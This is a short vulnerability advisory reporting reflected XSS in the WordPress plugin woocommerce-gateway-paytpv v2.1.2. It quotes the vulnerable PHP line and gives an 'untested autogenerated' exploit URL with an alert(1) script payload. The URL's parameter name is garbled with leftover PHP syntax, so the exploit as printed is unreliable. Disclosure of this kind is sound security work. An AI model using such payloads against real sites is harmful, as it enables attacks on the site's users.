Advisory #: 563
Title: Reflected XSS in wordpress plugin woocommerce-gateway-paytpv v2.1.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/woocommerce-gateway-paytpv
Downloads: 909
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: woocommerce-gateway-paytpv
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./woocommerce-gateway-paytpv/gateway-paytpv.php: 271: echo $_GET[ 'tpvLstr' ] . '<script>window.top.location.href="' . $order->get_cancel_order_url() . '"</script>'; The variable tpvLstr' ] . appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./woocommerce-gateway-paytpv/gateway-paytpv.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/woocommerce-gateway-paytpv/gateway-paytpv.php?tpvLstr ] .="><script>alert(1);</script><"